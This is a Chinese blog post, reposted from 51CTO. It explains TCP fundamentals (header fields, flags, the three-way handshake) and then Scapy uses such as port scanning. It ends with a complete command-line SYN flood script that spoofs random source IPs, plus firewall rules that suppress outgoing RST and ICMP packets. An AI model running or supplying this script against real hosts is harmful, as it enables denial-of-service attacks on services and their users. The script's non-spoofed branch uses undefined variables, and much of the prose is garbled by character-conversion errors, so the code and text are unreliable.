天天看點

Python Scapy TCP

面向連接配接意味着兩個使用TCP的應用(通常是一個客戶和一個伺服器)在彼此交換資料之前必須先建立一個TCP連接配接。

在一個TCP連接配接中,僅有兩方進行彼此通信。廣播和多點傳播不能用于TCP。

TCP通過下列方式來提供可靠性:

應用資料被分割成TCP認為最合适發送的資料塊。

當TCP發出一個段後,它啟動一個定時器,等待目的端确認收到這個封包段。如果不能及時收到一個确認,将重發這個封包段。

當TCP收到發自TCP連接配接另一端的資料,它将發送一個确認。這個确認不是立即發送,通常将推遲幾分之一秒。

TCP将保持它首部和資料的檢驗和。

既然TCP封包段作為IP資料報來傳輸,而IP資料報的到達可能會失序,是以TCP封包段的到達也可能會失序,如果必要,TCP将對收到的資料進行重新排序,将收到的資料以正确的順序交給應用層。

既然IP資料報會發生重複,TCP的接收端必須丢棄重複的資料。

TCP還能提供流量控制。TCP連接配接的每一方都有固定大小的緩沖空間。

TCP的接收端隻允許另一端發送接收緩沖區所能接納的資料。這将防止較快主機緻使慢主機的緩沖區溢出。

TCP位元組流

兩個應用程式通過TCP連接配接交換8bit位元組構成的位元組流。TCP不在位元組流中插入記錄辨別符。我們将這稱為位元組流服務(byte stream service)。如果一方的應用程式先傳10位元組,又傳20位元組,再傳50位元組,連接配接的另一方将無法了解發方每次發送了多少位元組。收方可以分4次接收這80個位元組,每次接收20位元組。一端将位元組流放到TCP連接配接上,同樣的位元組流将出現在TCP連接配接的另一端。

另外,TCP對位元組流的内容不作任何解釋。TCP不知道傳輸的資料位元組流是二進制資料,還是ASCII字元、EBCDIC字元或者其他類型資料。對位元組流的解釋由TCP連接配接雙方的應用層解釋。

<a href="https://s3.51cto.com/oss/201711/10/9000941ad1f55465928143abe4a92c7a.png" target="_blank"></a>

每個TCP段都包含源端和目的端的端口号,用于尋找發端和收端應用程序。這兩個值加上IP首部中的源端IP位址和目的端IP位址唯一确定一個TCP連接配接。

一個IP位址和一個端口号也稱為一個插口(socket)插口對(socketpair)(包含客戶IP位址、用戶端口号、伺服器IP位址和伺服器端口号的四元組)可唯一确定網際網路絡中每個TCP連接配接的雙方。

序号用來辨別從TCP發端向TCP收端發送的資料位元組流,它表示在這個封包段中的序号對每個位元組進行計數。序号是32bit的無序号數,序号到達2的32次方後又從0開始。SYN标志消耗一個序号。FIN标志也要占用一個序号。

确認序号應當是上次已成功收到資料位元組序号加1。隻有ACK标志為1時确認序号字段才有效。

發送ACK無需任何代價,因為32bit的确認序号字段和ACK标志一樣,總是TCP首部的一部分。是以,我們看到一旦一個連接配接建立起來,這個字段總是被設定,ACK标志也總是被設定為1。

TCP為應用層提供全雙工服務。這意味資料能在兩個方向上獨立地進行傳輸。是以,連接配接的每一端必須保持每個方向上的傳輸資料序号。

TCP可以表述為一個沒有選擇确認或否認的滑動視窗協定(滑動視窗協定用于資料傳輸)。我們說TCP缺少選擇确認是因為TCP首部中的确認序号表示發方已成功收到位元組,但還不包括确認序号所指的位元組。目前還無法對資料流中標明的部分進行确認。例如,如果1-1024位元組已經成功收到,下一封包段中包含序号從2049-3072的位元組,收端并不能确認這個新的封包段。它所能做的就是發回一個确認序号為1025的ACK。它也無法對一個封包段進行否認。例如,如果收到包含1025-2048位元組的封包段,但它的檢驗和錯,TCP接收端所能做的就是發回一個确認序号為1025的ACK。

首部長度給出首部中32bit字段的數目。需要這個值是因為任選字段的長度是可變的。這個字段占4bit,是以TCP最多有60位元組的首部。然而,沒有任選字段,正常的長度是20位元組。

在TCP首部中有6個标志比特。它們中的多個可同時被設定為1。

URG  緊急指針有效

ACK  确認序号有效

PSH  接收方應該盡快将這個封包段交給應用層

RST  重建連接配接

SYN  同步序号用來發起一個連接配接

FIN  發端完成發送任務

TCP是一個面向連接配接的協定。無論哪一方向另一方發送資料之前,都必須先在雙方之間建立一條連接配接。

這種兩端間連接配接的建立與無連接配接協定如UDP不同。UDP向另一端發送資料報時,無需任何預先的握手。

TCP用三次握手過程建立一個連接配接。在連接配接建立過程中,很多參數要被初始化,例如序号被初始化以保證按序傳輸和連接配接的強壯性。

一對終端同時初始化一個它們之間的連接配接是可能的。但通常是由一端打開一個套接字(socket)然後監聽來自另一方的連接配接,這就是通常所指的被動打開。

伺服器端被被動打開以後,使用者端就能開始建立主動打開。

用戶端通過向伺服器端發送一個SYN來建立一個主動打開,作為三次握手的一部分。用戶端把這段連接配接的序号設定為随機數A。

伺服器端應當為一個合法的SYN回送一個SYN/ACK。ACK的确認碼應為A+1,SYN/ACK包本身又有一個随機序号B。

最後,用戶端再發送一個ACK。當服務端收到這個ACK的時候,就完成了三次握手,并進入了連接配接建立狀态。此時包序号被設定為收到的确認号A+1,而響應則為B+1。

<a href="https://s4.51cto.com/oss/201711/10/9cf5db12e04542d9332402de013b735d.png" target="_blank"></a>

<a href="https://s4.51cto.com/oss/201711/10/9974b0734356aa4448747d471c6b27e0.png" target="_blank"></a>

<a href="https://s1.51cto.com/oss/201711/10/cb5d1ef525d87adf70a687064b55cb01.png" target="_blank"></a>

<a href="https://s3.51cto.com/oss/201711/10/20f34bc8678f4f73445b3ec2c37d6ca9.png" target="_blank"></a>

<a href="https://s3.51cto.com/oss/201711/10/cc52f1aafd687e3f9def13e50ae3ba45.png" target="_blank"></a>

▼Socket TCP Server腳本樣例:

<a href="https://s2.51cto.com/oss/201711/10/26290d90ce72dd10c562949909036cf9.png" target="_blank"></a>

Scapy可以實作的功能:

1、TCP端口掃描

<a href="https://s4.51cto.com/oss/201711/10/d43bc86d06fbcd7a7af09a0c419c7578.png" target="_blank"></a>

2、防火牆開放端口掃描

<a href="https://s4.51cto.com/oss/201711/10/0b05954c5b0368988357a7fef132dd3e.png" target="_blank"></a>

3、模拟TCP建立與終止

<a href="https://s3.51cto.com/oss/201711/10/507e7ddc4589509a6f223e83bd2ab710.png" target="_blank"></a>

4、制造TCP DOS攻擊

使用随機位址随機端口發起TCP連接配接

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

<code>#!/usr/bin/python3.4</code>

<code># -*- coding=utf-8 -*-</code>

<code>#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --tcp-flags RST RST -s 202.100.1.139 -j DROP</code>

<code>#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p icmp -s 202.100.1.139 -j DROP</code>

<code>import</code> <code>logging</code>

<code>logging.getLogger(</code><code>"scapy.runtime"</code><code>).setLevel(logging.ERROR)</code><code>#清除報錯</code>

<code>from</code> <code>scapy.</code><code>all</code> <code>import</code> <code>*</code>

<code>def</code> <code>syn_dos(ip, port, random_enable</code><code>=</code><code>True</code><code>):</code><code>#定義方法,傳入目标IP位址,目标端口号,是否激活随機僞裝源IP位址</code>

<code>    </code><code>if</code> <code>random_enable </code><code>=</code><code>=</code> <code>True</code><code>:</code><code>#如果激活随機僞裝源IP位址</code>

<code>        </code><code>while</code> <code>True</code><code>:</code><code>#一直執行直到ctl+c停止程式</code>

<code>            </code><code>source_port </code><code>=</code> <code>random.randint(</code><code>1024</code><code>, </code><code>65535</code><code>)</code><code>#随機産生源端口</code>

<code>            </code><code>init_sn </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>65535</code><code>*</code><code>63335</code><code>)</code><code>#随機産生初始化序列号</code>

<code>            </code><code>yi_section </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>254</code><code>)</code><code>#随機産生,第一段IP位址</code>

<code>            </code><code>er_section </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>254</code><code>)</code><code>#随機産生,第二段IP位址</code>

<code>            </code><code>san_section </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>254</code><code>)</code><code>#随機産生,第三段IP位址</code>

<code>            </code><code>si_section </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>254</code><code>)</code><code>#随機産生,第四段IP位址</code>

<code>            </code><code>source_ip </code><code>=</code> <code>str</code><code>(yi_section)</code><code>+</code><code>'.'</code><code>+</code><code>str</code><code>(er_section)</code><code>+</code><code>'.'</code><code>+</code><code>str</code><code>(san_section)</code><code>+</code><code>'.'</code><code>+</code><code>str</code><code>(si_section)</code><code>#組合四段位址</code>

<code>            </code><code>#發送SYN同步包(不必等待回應)#随機僞裝源IP,随機産生源端口和初始化序列号</code>

<code>            </code><code>send(IP(src</code><code>=</code><code>source_ip,dst</code><code>=</code><code>ip)</code><code>/</code><code>TCP(dport</code><code>=</code><code>port,sport</code><code>=</code><code>source_port,flags</code><code>=</code><code>2</code><code>,seq</code><code>=</code><code>init_sn), verbose </code><code>=</code> <code>False</code><code>)</code>

<code>    </code><code>else</code><code>:</code><code>#如果不激活随機僞裝源IP位址</code>

<code>        </code><code>while</code> <code>True</code><code>:</code>

<code>            </code><code>#發送SYN同步包(不必等待回應)#随機産生源端口和初始化序列号</code>

<code>            </code><code>send(IP(dst</code><code>=</code><code>ip)</code><code>/</code><code>TCP(dport</code><code>=</code><code>port,sport</code><code>=</code><code>source_port,flags</code><code>=</code><code>2</code><code>,seq</code><code>=</code><code>init_sn), verbose </code><code>=</code> <code>False</code><code>)</code>

<code>if</code> <code>__name__ </code><code>=</code><code>=</code> <code>'__main__'</code><code>:</code>

<code>    </code><code>import</code> <code>optparse</code><code>#導入選項分析子產品</code>

<code>    </code><code>#配置幫助</code>

<code>    </code><code>parser </code><code>=</code> <code>optparse.OptionParser(</code><code>"程式使用方法介紹: -d &lt;目标位址&gt; -p &lt;目标端口&gt; -r &lt;1:激活(預設) 2:不激活&gt;"</code><code>)</code>

<code>    </code><code>#選項‘-d’,指定目的IP位址</code>

<code>    </code><code>parser.add_option(</code><code>'-d'</code><code>, dest </code><code>=</code> <code>'dst_ip'</code><code>, </code><code>type</code> <code>=</code> <code>'string'</code><code>, </code><code>help</code> <code>=</code> <code>'指定目标位址'</code><code>)</code>

<code>    </code><code>#選項‘-p’,指定目的端口号</code>

<code>    </code><code>parser.add_option(</code><code>'-p'</code><code>, dest </code><code>=</code> <code>'dst_port'</code><code>, </code><code>type</code> <code>=</code> <code>'int'</code><code>, </code><code>help</code> <code>=</code> <code>'指定目标端口'</code><code>)</code>

<code>    </code><code>#選項‘-r’,是否激活随機僞裝源IP位址</code>

<code>    </code><code>parser.add_option(</code><code>'-r'</code><code>, dest </code><code>=</code> <code>'random'</code><code>, </code><code>type</code> <code>=</code> <code>'int'</code><code>, </code><code>help</code> <code>=</code> <code>'是否激活随機IP'</code><code>)</code>

<code>    </code><code>#分析參數,得到Options</code>

<code>    </code><code>(options, args) </code><code>=</code> <code>parser.parse_args()</code>

<code>    </code><code>#如果沒有指定目的IP,或者沒有指定目的端口号,顯示幫助資訊給客戶看!</code>

<code>    </code><code>if</code> <code>(options.dst_ip </code><code>=</code><code>=</code> <code>None</code><code>) </code><code>or</code> <code>(options.dst_port </code><code>=</code><code>=</code> <code>None</code><code>):</code>

<code>        </code><code>print</code><code>(parser.usage)</code>

<code>        </code><code>exit(</code><code>0</code><code>)</code>

<code>    </code><code>else</code><code>:</code><code>#如果客戶指定了目的位址和目的端口号,為變量指派!</code>

<code>        </code><code>destination_ip </code><code>=</code> <code>options.dst_ip</code>

<code>        </code><code>destination_port </code><code>=</code> <code>options.dst_port</code>

<code>    </code><code>if</code> <code>options.random </code><code>=</code><code>=</code> <code>2</code><code>:</code><code>#如果客戶不激活随機僞裝源IP位址</code>

<code>        </code><code>syn_dos(destination_ip, destination_port, random_enable </code><code>=</code> <code>False</code><code>)</code>

<code>    </code><code>else</code><code>:</code><code>#客戶激活随機僞裝源IP位址</code>

<code>        </code><code>syn_dos(destination_ip, destination_port, random_enable </code><code>=</code> <code>True</code><code>)</code>

<code></code><code></code>

<code></code><code>本文轉自Grodd51CTO部落格,原文連結:http://blog.51cto.com/juispan/1980688,如需轉載請自行聯系原作者</code>

<code></code>